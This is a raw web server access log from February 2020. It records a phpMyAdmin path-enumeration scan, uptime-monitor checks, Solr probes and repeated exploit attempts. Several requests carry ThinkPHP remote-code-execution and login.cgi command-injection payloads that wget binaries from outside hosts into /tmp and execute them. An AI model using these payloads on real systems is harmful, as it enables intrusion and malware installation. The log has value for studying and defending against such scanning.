42.51.225.120 - - [16/Feb/2020:14:56:50 +0100] "GET /phpMyAdmin/phpMyAdmin/index.php HTTP/1.1" 404 336 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:14:56:51 +0100] "GET /phpMyAbmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:14:56:52 +0100] "GET /phpMyAdmin__/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:14:56:53 +0100] "GET /phpMyAdmin+++---/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:14:56:54 +0100] "GET /v/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:14:56:54 +0100] "GET /phpmyadm1n/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:14:56:56 +0100] "GET /phpMyAdm1n/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:14:56:58 +0100] "GET /shaAdmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
212.91.246.72 - - [16/Feb/2020:14:57:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.51.225.120 - - [16/Feb/2020:14:57:51 +0100] "GET /s/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:14:57:51 +0100] "GET /MyAdmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:14:57:51 +0100] "GET /phpMyAdmin1/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:14:57:52 +0100] "GET /phpMyAdmin123/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:14:57:52 +0100] "GET /pwd/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:14:57:58 +0100] "GET /phpMyAdmina/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:14:58:25 +0100] "GET /phpMydmin/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:14:58:26 +0100] "GET /phpMyAdmins/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:14:58:27 +0100] "GET /phpMyAdmin._/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:14:58:29 +0100] "GET /phpMyAdmin._2/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:14:58:31 +0100] "GET /phpmyadmin2222/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:14:58:31 +0100] "GET /phpMyAdmin333/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:14:58:32 +0100] "GET /phpmyadmin3333/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:14:58:33 +0100] "GET /php2MyAdmin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:14:58:33 +0100] "GET /phpiMyAdmin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:14:58:33 +0100] "GET /phpNyAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:14:58:34 +0100] "GET /1/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:14:58:35 +0100] "GET /download/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
212.91.246.72 - - [16/Feb/2020:14:58:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.51.225.120 - - [16/Feb/2020:14:59:04 +0100] "GET /phpmadmin/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:14:59:05 +0100] "GET /321/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:14:59:05 +0100] "GET /123131/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:14:59:08 +0100] "GET /phpMyAdminn/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:14:59:11 +0100] "GET /phpMyAdminhf/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:14:59:15 +0100] "GET /sbb/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:14:59:23 +0100] "GET /WWW/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:14:59:23 +0100] "GET /phpMyAdmln/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:14:59:24 +0100] "GET /phpMyAdmin_ai/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:14:59:24 +0100] "GET /__phpMyAdmin/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:14:59:26 +0100] "GET /program/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:14:59:28 +0100] "GET /shopdb/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:14:59:39 +0100] "GET /phppma/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
212.91.246.72 - - [16/Feb/2020:14:59:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.51.225.120 - - [16/Feb/2020:14:59:54 +0100] "GET /phpmy/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
91.203.193.47 - - [16/Feb/2020:14:59:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
82.77.134.199 - - [16/Feb/2020:15:00:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
42.51.225.120 - - [16/Feb/2020:15:00:22 +0100] "GET /mysql/admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:15:00:26 +0100] "GET /mysql/dbadmin/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:15:00:34 +0100] "GET /mysql/sqlmanager/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:15:00:34 +0100] "GET /mysql/mysqlmanager/index.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:15:00:34 +0100] "GET /wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php HTTP/1.1" 404 364 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:15:00:35 +0100] "GET /sqladmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:15:00:36 +0100] "GET /sql/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:15:00:38 +0100] "GET /SQL/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:15:00:40 +0100] "GET /websql/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
93.158.239.2 - - [16/Feb/2020:15:00:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [16/Feb/2020:15:00:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.51.225.120 - - [16/Feb/2020:15:01:07 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
212.91.246.72 - - [16/Feb/2020:15:01:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:15:02:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:15:03:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:15:04:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:15:05:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.135.38.214 - - [16/Feb/2020:15:05:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [16/Feb/2020:15:06:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:15:07:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:15:08:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:15:09:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.192.224.217 - - [16/Feb/2020:15:10:24 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.224.217 - - [16/Feb/2020:15:10:28 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.224.217 - - [16/Feb/2020:15:10:34 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [16/Feb/2020:15:10:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.192.224.217 - - [16/Feb/2020:15:11:10 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [16/Feb/2020:15:11:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.130.21.230 - - [16/Feb/2020:15:11:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
91.203.193.47 - - [16/Feb/2020:15:12:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
178.213.194.207 - - [16/Feb/2020:15:12:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [16/Feb/2020:15:12:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:15:13:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:15:14:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:15:15:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.180.167.150 - - [16/Feb/2020:15:16:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [16/Feb/2020:15:16:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:15:17:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:15:18:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:15:19:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:15:20:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.178.8.198 - - [16/Feb/2020:15:21:08 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [16/Feb/2020:15:21:12 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [16/Feb/2020:15:21:18 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [16/Feb/2020:15:21:30 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [16/Feb/2020:15:21:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
62.105.158.150 - - [16/Feb/2020:15:21:51 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
121.178.8.198 - - [16/Feb/2020:15:21:54 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
138.118.101.63 - - [16/Feb/2020:15:22:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [16/Feb/2020:15:22:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:15:23:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:15:24:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:15:25:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:15:26:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.182.3.169 - - [16/Feb/2020:15:27:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [16/Feb/2020:15:27:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:15:28:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:15:29:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.186.109.247 - - [16/Feb/2020:15:29:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [16/Feb/2020:15:30:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:15:31:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:15:32:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
58.253.112.72 - - [16/Feb/2020:15:33:24 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [16/Feb/2020:15:33:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:15:34:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:15:35:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:15:36:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
128.14.134.134 - - [16/Feb/2020:15:37:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [16/Feb/2020:15:37:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:15:38:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.61.164.241 - - [16/Feb/2020:15:39:16 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [16/Feb/2020:15:39:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:15:40:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:15:41:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:15:42:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [16/Feb/2020:15:43:32 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [16/Feb/2020:15:43:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
47.254.153.38 - - [16/Feb/2020:15:43:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.101.0.209 - - [16/Feb/2020:15:44:19 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [16/Feb/2020:15:44:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [16/Feb/2020:15:45:07 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [16/Feb/2020:15:45:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.92.195.118 - - [16/Feb/2020:15:46:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [16/Feb/2020:15:46:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:15:47:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:15:48:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:15:49:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:15:50:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
